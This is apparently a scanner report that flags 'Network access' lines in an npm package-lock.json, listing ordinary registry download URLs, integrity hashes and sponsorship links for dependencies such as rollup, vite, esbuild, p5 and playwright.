  • Network accessline 655
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.64.6.tgz",
  • Network accessline 667
    "node_modules/@rollup/rollup-linux-ppc64-gnu": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.64.6.tgz",
  • Network accessline 668
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.64.6.tgz",       "integrity": "sha512-G3pmliMQ7r15zFFNwBlaT/xTdSLi4lfgI7CUrQueyKYheNVhrd8JrWCE6Ll8xf4AA1RZFqq+mNJYn
  • Network accessline 669
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.64.6.tgz",
  • Network accessline 681
    "node_modules/@rollup/rollup-linux-ppc64-musl": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.64.6.tgz",
  • Network accessline 682
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.64.6.tgz",       "integrity": "sha512-XQTB/IPoB/wG6x/wu9uomAt8YH61IAr5iZTubMiad/lu88sotq2ocz9hJd556+Jz2kIkF7ZQZIs
  • Network accessline 683
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.64.6.tgz",
  • Network accessline 695
    "node_modules/@rollup/rollup-linux-riscv64-gnu": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.64.6.tgz",
  • Network accessline 696
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.64.6.tgz",       "integrity": "sha512-O5mpokth6+ydMuwiGtY8fIjvOBfH7u6SzmDNmZ3k6GK5C6iEAC2q2ZN/T5L9jYILx0IcCT0Kn
  • Network accessline 697
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.64.6.tgz",
  • Network accessline 709
    "node_modules/@rollup/rollup-linux-riscv64-musl": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.64.6.tgz",
  • Network accessline 710
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.64.6.tgz",       "integrity": "sha512-aIFxbAD9v3TvIaEDsKmukjcDg1JS4/tFXw8SHyQQgzOwzWCQ4cyDK7Ju1pQKqUXDFkEu/BZ
  • Network accessline 711
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.64.6.tgz",
  • Network accessline 723
    "node_modules/@rollup/rollup-linux-s390x-gnu": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.64.6.tgz",
  • Network accessline 724
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.64.6.tgz",       "integrity": "sha512-fuNo1UwBc6BxnHDOxxguQL/InhheMN3RJcJMb0b4xP8r5Q3CNCrJbVg0eCIFuJ4e/zAfjR2gYbOfb
  • Network accessline 725
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.64.6.tgz",
  • Network accessline 737
    "node_modules/@rollup/rollup-linux-x64-gnu": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.64.6.tgz",
  • Network accessline 738
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.64.6.tgz",       "integrity": "sha512-05v6wFKDKJPZs9xlytVrrRu6IbRuoSvlH9xNwEOafXsKyjBFZPvAcZz2VIAB/M+lblYeKa9iOYC4RDVdf
  • Network accessline 739
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.64.6.tgz",
  • Network accessline 751
    "node_modules/@rollup/rollup-linux-x64-musl": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.64.6.tgz",
  • Network accessline 752
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.64.6.tgz",       "integrity": "sha512-wJXKcdMjvkc/FaavZXNP1yW4i0pfOmhZAIWRSLG2yJ0PB0TWi7dkLErhX0u0vptDcXKKO/m1Y/YTeuy
  • Network accessline 753
    "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.64.6.tgz",
  • Network accessline 765
    "node_modules/@rollup/rollup-openbsd-x64": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.64.6.tgz",
  • Network accessline 766
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.64.6.tgz",       "integrity": "sha512-cwg7/h0ThvJwy8CBkmACdiHAxRWpbsCmIsjOt+Zzx0hTnIcSUmKYEV03bGg+hD827OnwUsbKh1ZZDW754xWyB
  • Network accessline 767
    "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.64.6.tgz",
  • Network accessline 779
    "node_modules/@rollup/rollup-openharmony-arm64": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.64.6.tgz",
  • Network accessline 780
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.64.6.tgz",       "integrity": "sha512-T0RkYIJbdYXJEQFw+tMBO09KDFdgmNxkHsof3wWAABrvnx15Yh8RytmrgYy9+q9cBeBNZF66M
  • Network accessline 781
    "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.64.6.tgz",
  • Network accessline 793
    "node_modules/@rollup/rollup-win32-arm64-msvc": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.64.6.tgz",
  • Network accessline 794
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.64.6.tgz",       "integrity": "sha512-KlfpmF1AAIdAWxt8QQNClbpLFlAUfYOzqIuJ7IXEStMHpFRuH78RG6FjqPb3Rqhh0K89F5npvG+
  • Network accessline 795
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.64.6.tgz",
  • Network accessline 807
    "node_modules/@rollup/rollup-win32-ia32-msvc": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.64.6.tgz",
  • Network accessline 808
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.64.6.tgz",       "integrity": "sha512-MrTLjd7Jlt9/ZavJZYG61KQv9Iy9bzbY+yXy73Xvwoa2uP66wvDShkyBr5Chz/yrE6lbD/zHMuTmK
  • Network accessline 809
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.64.6.tgz",
  • Network accessline 821
    "node_modules/@rollup/rollup-win32-x64-gnu": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.64.6.tgz",
  • Network accessline 822
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.64.6.tgz",       "integrity": "sha512-8fWDH1CkPI8GdBKAxzHDza7UmgficsKo2+MVbvUgOGhB0629w5sHMg3Qu5y7TZsrYKHHWpz8fla4KvoT7
  • Network accessline 823
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.64.6.tgz",
  • Network accessline 835
    "node_modules/@rollup/rollup-win32-x64-msvc": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.64.6.tgz",
  • Network accessline 836
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.64.6.tgz",       "integrity": "sha512-9/c9PWdr5GCIHkkxiHM1HjNBQMVdftP4O8QTcoUAaRza2FSqJ4axbf8QAnBuE6BIGQDl71SaRPeDdDY
  • Network accessline 837
    "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.64.6.tgz",
  • Network accessline 849
    "node_modules/@types/estree": {       "version": "1.0.9",       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz",
  • Network accessline 850
    "version": "1.0.9",       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz",       "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==",
  • Network accessline 851
    "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz",
  • Network accessline 856
    "node_modules/acorn": {       "version": "8.19.0",       "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.19.0.tgz",
  • Network accessline 857
    "version": "8.19.0",       "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.19.0.tgz",       "integrity": "sha512-oJlA3XiRm7Cyk6qFD2Jn8ak9B7jSy0qy00ADO3+8dpT0LSjFihQYv4C02LFCSYJV3Q37xYwwRy5m+IpIiUzqWw==",
  • Network accessline 858
    "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.19.0.tgz",
  • Network accessline 868
    "node_modules/acorn-walk": {       "version": "8.3.5",       "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.5.tgz",
  • Network accessline 869
    "version": "8.3.5",       "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.5.tgz",       "integrity": "sha512-HEHNfbars9v4pgpW6SO1KSPkfoS0xVOM/9UzkJltjlsHZmJasxg8aXkuZa7SMf8vKGIBhpUsPluQSqhJFCqebw==",
  • Network accessline 870
    "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.5.tgz",
  • Network accessline 880
    "node_modules/colorjs.io": {       "version": "0.6.1",       "resolved": "https://registry.npmjs.org/colorjs.io/-/colorjs.io-0.6.1.tgz",
  • Network accessline 881
    "version": "0.6.1",       "resolved": "https://registry.npmjs.org/colorjs.io/-/colorjs.io-0.6.1.tgz",       "integrity": "sha512-8lyR2wHzuIykCpqHKgluGsqQi5iDm3/a2IgP2GBZrasn2sBRkE4NOGsglZxWLs/jZQoNkmA/KM/8NV16rLUdBg==",
  • Network accessline 882
    "resolved": "https://registry.npmjs.org/colorjs.io/-/colorjs.io-0.6.1.tgz",
  • Network accessline 885
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/color"
  • Network accessline 886
    "type": "opencollective",         "url": "https://opencollective.com/color"       }
  • Network accessline 887
    "url": "https://opencollective.com/color"
  • Network accessline 890
    "node_modules/esbuild": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
  • Network accessline 891
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",       "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==",
  • Network accessline 892
    "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
  • Network accessline 932
    "node_modules/escodegen": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
  • Network accessline 933
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",       "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==",
  • Network accessline 934
    "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
  • Network accessline 953
    "node_modules/esprima": {       "version": "4.0.1",       "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
  • Network accessline 954
    "version": "4.0.1",       "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",       "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
  • Network accessline 955
    "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
  • Network accessline 966
    "node_modules/estraverse": {       "version": "5.3.0",       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
  • Network accessline 967
    "version": "5.3.0",       "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",       "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
  • Network accessline 968
    "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
  • Network accessline 975
    "node_modules/esutils": {       "version": "2.0.3",       "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
  • Network accessline 976
    "version": "2.0.3",       "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",       "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
  • Network accessline 977
    "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
  • Network accessline 984
    "node_modules/fdir": {       "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 985
    "version": "6.5.0",       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",       "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
  • Network accessline 986
    "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
  • Network accessline 1002
    "node_modules/fsevents": {       "version": "2.3.2",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
  • Network accessline 1003
    "version": "2.3.2",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",       "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
  • Network accessline 1004
    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
  • Network accessline 1017
    "node_modules/gifenc": {       "version": "1.0.3",       "resolved": "https://registry.npmjs.org/gifenc/-/gifenc-1.0.3.tgz",
  • Network accessline 1018
    "version": "1.0.3",       "resolved": "https://registry.npmjs.org/gifenc/-/gifenc-1.0.3.tgz",       "integrity": "sha512-xdr6AdrfGBcfzncONUOlXMBuc5wJDtOueE3c5rdG0oNgtINLD+f2iFZltrBRZYzACRbKr+mSVU/x98zv2u3jmw==",
  • Network accessline 1019
    "resolved": "https://registry.npmjs.org/gifenc/-/gifenc-1.0.3.tgz",
  • Network accessline 1023
    "node_modules/i18next": {       "version": "19.9.2",       "resolved": "https://registry.npmjs.org/i18next/-/i18next-19.9.2.tgz",
  • Network accessline 1024
    "version": "19.9.2",       "resolved": "https://registry.npmjs.org/i18next/-/i18next-19.9.2.tgz",       "integrity": "sha512-0i6cuo6ER6usEOtKajUUDj92zlG+KArFia0857xxiEHAQcUwh/RtOQocui1LPJwunSYT574Pk64aNva1kwtxZg==",
  • Network accessline 1025
    "resolved": "https://registry.npmjs.org/i18next/-/i18next-19.9.2.tgz",
  • Network accessline 1032
    "node_modules/i18next-browser-languagedetector": {       "version": "4.3.1",       "resolved": "https://registry.npmjs.org/i18next-browser-languagedetector/-/i18next-browser-languagedetector-4.3.1.tgz",
  • Network accessline 1033
    "version": "4.3.1",       "resolved": "https://registry.npmjs.org/i18next-browser-languagedetector/-/i18next-browser-languagedetector-4.3.1.tgz",       "integrity": "sha512-KIToAzf8zwWvacgnRwJp63ase26o24AuNUlfNVJ5YZAFmdGhsJpmFClxXPuk9rv1FMI
  • Network accessline 1034
    "resolved": "https://registry.npmjs.org/i18next-browser-languagedetector/-/i18next-browser-languagedetector-4.3.1.tgz",
  • Network accessline 1041
    "node_modules/libtess": {       "version": "1.2.2",       "resolved": "https://registry.npmjs.org/libtess/-/libtess-1.2.2.tgz",
  • Network accessline 1042
    "version": "1.2.2",       "resolved": "https://registry.npmjs.org/libtess/-/libtess-1.2.2.tgz",       "integrity": "sha512-Nps8HPeVVcsmJxUvFLKVJcCgcz+1ajPTXDVAVPs6+giOQP4AHV31uZFFkh+CKow/bkB7GbZWKmwmit7myaqDSw==",
  • Network accessline 1043
    "resolved": "https://registry.npmjs.org/libtess/-/libtess-1.2.2.tgz",
  • Network accessline 1047
    "node_modules/nanoid": {       "version": "3.3.20",       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz",
  • Network accessline 1048
    "version": "3.3.20",       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz",       "integrity": "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ==",
  • Network accessline 1049
    "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz",
  • Network accessline 1053
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1054
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 1055
    "url": "https://github.com/sponsors/ai"
  • Network accessline 1066
    "node_modules/omggif": {       "version": "1.0.10",       "resolved": "https://registry.npmjs.org/omggif/-/omggif-1.0.10.tgz",
  • Network accessline 1067
    "version": "1.0.10",       "resolved": "https://registry.npmjs.org/omggif/-/omggif-1.0.10.tgz",       "integrity": "sha512-LMJTtvgc/nugXj0Vcrrs68Mn2D1r0zf630VNtqtpI1FEO7e+O9FP4gqs9AcnBaSEeoHIPm28u6qgPR0oyEpGSw==",
  • Network accessline 1068
    "resolved": "https://registry.npmjs.org/omggif/-/omggif-1.0.10.tgz",
  • Network accessline 1072
    "node_modules/p5": {       "version": "2.3.3",       "resolved": "https://registry.npmjs.org/p5/-/p5-2.3.3.tgz",
  • Network accessline 1073
    "version": "2.3.3",       "resolved": "https://registry.npmjs.org/p5/-/p5-2.3.3.tgz",       "integrity": "sha512-+zVz5JFp3sCLpLscTMOLoA0UEHV0dsHxngKVfMmeW1J2/IXvfFqCjNYZeIOtG4Lhfnpm7cu6446P6Ho64ihXfA==",
  • Network accessline 1074
    "resolved": "https://registry.npmjs.org/p5/-/p5-2.3.3.tgz",
  • Network accessline 1093
    "node_modules/p5.brush": {       "version": "2.2.3",       "resolved": "https://registry.npmjs.org/p5.brush/-/p5.brush-2.2.3.tgz",
  • Network accessline 1094
    "version": "2.2.3",       "resolved": "https://registry.npmjs.org/p5.brush/-/p5.brush-2.2.3.tgz",       "integrity": "sha512-Jxl7Rl01StakZN7OnaY+HYLXvemeIiCnDzVz6qnvsABF8GunCBcQON7xUKZUjV1E/Ab7VIFSMOspmVzLO/ljTw==",
  • Network accessline 1095
    "resolved": "https://registry.npmjs.org/p5.brush/-/p5.brush-2.2.3.tgz",
  • Network accessline 1105
    "node_modules/pako": {       "version": "2.2.0",       "resolved": "https://registry.npmjs.org/pako/-/pako-2.2.0.tgz",
  • Network accessline 1106
    "version": "2.2.0",       "resolved": "https://registry.npmjs.org/pako/-/pako-2.2.0.tgz",       "integrity": "sha512-zJq6RP/5q+TO2OpFV3FHzlPnFjmkb7Nc99a5SNjJE+uu/PkpChs+NIZSSzbBoD+6kjiISXjfYdwj1ZRQ81dz/w==",
  • Network accessline 1107
    "resolved": "https://registry.npmjs.org/pako/-/pako-2.2.0.tgz",
  • Network accessline 1110
    {           "type": "github",           "url": "https://github.com/sponsors/puzrin"
  • Network accessline 1111
    "type": "github",           "url": "https://github.com/sponsors/puzrin"         },
  • Network accessline 1112
    "url": "https://github.com/sponsors/puzrin"
  • Network accessline 1114
    {           "type": "github",           "url": "https://github.com/sponsors/nodeca"
  • Network accessline 1115
    "type": "github",           "url": "https://github.com/sponsors/nodeca"         }
  • Network accessline 1116
    "url": "https://github.com/sponsors/nodeca"
  • Network accessline 1121
    "node_modules/picocolors": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
  • Network accessline 1122
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",       "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
  • Network accessline 1123
    "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
  • Network accessline 1128
    "node_modules/picomatch": {       "version": "4.0.7",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz",
  • Network accessline 1129
    "version": "4.0.7",       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz",       "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==",
  • Network accessline 1130
    "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz",
  • Network accessline 1136
    },       "funding": {         "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 1137
    "funding": {         "url": "https://github.com/sponsors/jonschlinkert"       }
  • Network accessline 1138
    "url": "https://github.com/sponsors/jonschlinkert"
  • Network accessline 1141
    "node_modules/playwright": {       "version": "1.49.1",       "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.49.1.tgz",
  • Network accessline 1142
    "version": "1.49.1",       "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.49.1.tgz",       "integrity": "sha512-VYL8zLoNTBxVOrJBbDuRgDWa3i+mfQgDTrL8Ah9QXZ7ax4Dsj0MSq5bYgytRnDVVe+njoKnfsYkH3HzqVj5UZA==",
  • Network accessline 1143
    "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.49.1.tgz",
  • Network accessline 1160
    "node_modules/playwright-core": {       "version": "1.49.1",       "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.49.1.tgz",
  • Network accessline 1161
    "version": "1.49.1",       "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.49.1.tgz",       "integrity": "sha512-BzmpVcs4kE2CH15rWfzpjzVGhWERJfmnXmniSyKeRZUs9Ws65m+RGIi7mjJK/euCegfn3i7jvqWeWyHe9y3Vgg==",
  • Network accessline 1162
    "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.49.1.tgz",
  • Network accessline 1173
    "node_modules/postcss": {       "version": "8.5.30",       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.30.tgz",
  • Network accessline 1174
    "version": "8.5.30",       "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.30.tgz",       "integrity": "sha512-zkd+e9S1AQHhmaBKye9zlFHWjOwVgqXl1q3ECYy8561K7qxR2cREf/STLskulBFd78k6AOFeA+ff1TtEzk9bAA==",
  • Network accessline 1175
    "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.30.tgz",
  • Network accessline 1179
    {           "type": "opencollective",           "url": "https://opencollective.com/postcss/"
  • Network accessline 1180
    "type": "opencollective",           "url": "https://opencollective.com/postcss/"         },
  • Network accessline 1181
    "url": "https://opencollective.com/postcss/"
  • Network accessline 1183
    {           "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/postcss"
  • Network accessline 1184
    "type": "tidelift",           "url": "https://tidelift.com/funding/github/npm/postcss"         },
  • Network accessline 1185
    "url": "https://tidelift.com/funding/github/npm/postcss"
  • Network accessline 1187
    {           "type": "github",           "url": "https://github.com/sponsors/ai"
  • Network accessline 1188
    "type": "github",           "url": "https://github.com/sponsors/ai"         }
  • Network accessline 1189
    "url": "https://github.com/sponsors/ai"
  • Network accessline 1202
    "node_modules/rollup": {       "version": "4.64.6",       "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.64.6.tgz",
  • Network accessline 1203
    "version": "4.64.6",       "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.64.6.tgz",       "integrity": "sha512-fX1Vy+UNKdXn+xKDnu/HBXbHVr1AY8cSdQj9BU4kLv5aFCMqGpvrVbyUMmjN3DdzWhSAuTbcX8PCNEVaumthYA==",
  • Network accessline 1204
    "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.64.6.tgz",
  • Network accessline 1248
    "node_modules/simplex-noise": {       "version": "4.0.3",       "resolved": "https://registry.npmjs.org/simplex-noise/-/simplex-noise-4.0.3.tgz",
  • Network accessline 1249
    "version": "4.0.3",       "resolved": "https://registry.npmjs.org/simplex-noise/-/simplex-noise-4.0.3.tgz",       "integrity": "sha512-qSE2I4AngLQG7BXqoZj51jokT4WUXe8mOBrvfOXpci8+6Yu44+/dD5zqDpOx3Ux792eamTd2lLcI8jqFntk/lg==",
  • Network accessline 1250
    "resolved": "https://registry.npmjs.org/simplex-noise/-/simplex-noise-4.0.3.tgz",
  • Network accessline 1254
    "node_modules/source-map": {       "version": "0.6.1",       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
  • Network accessline 1255
    "version": "0.6.1",       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
  • Network accessline 1256
    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
  • Network accessline 1264
    "node_modules/source-map-js": {       "version": "1.2.2",       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz",
  • Network accessline 1265
    "version": "1.2.2",       "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz",       "integrity": "sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==",
  • Network accessline 1266
    "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.2.tgz",
  • Network accessline 1274
    "node_modules/tinyglobby": {       "version": "0.2.17",       "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
  • Network accessline 1275
    "version": "0.2.17",       "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",       "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
  • Network accessline 1276
    "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
  • Network accessline 1286
    },       "funding": {         "url": "https://github.com/sponsors/SuperchupuDev"
  • Network accessline 1287
    "funding": {         "url": "https://github.com/sponsors/SuperchupuDev"       }
  • Network accessline 1288
    "url": "https://github.com/sponsors/SuperchupuDev"
  • Network accessline 1291
    "node_modules/vite": {       "version": "6.4.3",       "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz",
  • Network accessline 1292
    "version": "6.4.3",       "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz",       "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==",
  • Network accessline 1293
    "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz",
  • Network accessline 1310
    },       "funding": {         "url": "https://github.com/vitejs/vite?sponsor=1"
  • Network accessline 1311
    "funding": {         "url": "https://github.com/vitejs/vite?sponsor=1"       },
  • Network accessline 1312
    "url": "https://github.com/vitejs/vite?sponsor=1"
  • Network accessline 1366
    "node_modules/vite/node_modules/fsevents": {       "version": "2.3.3",       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
  • Network accessline 1367
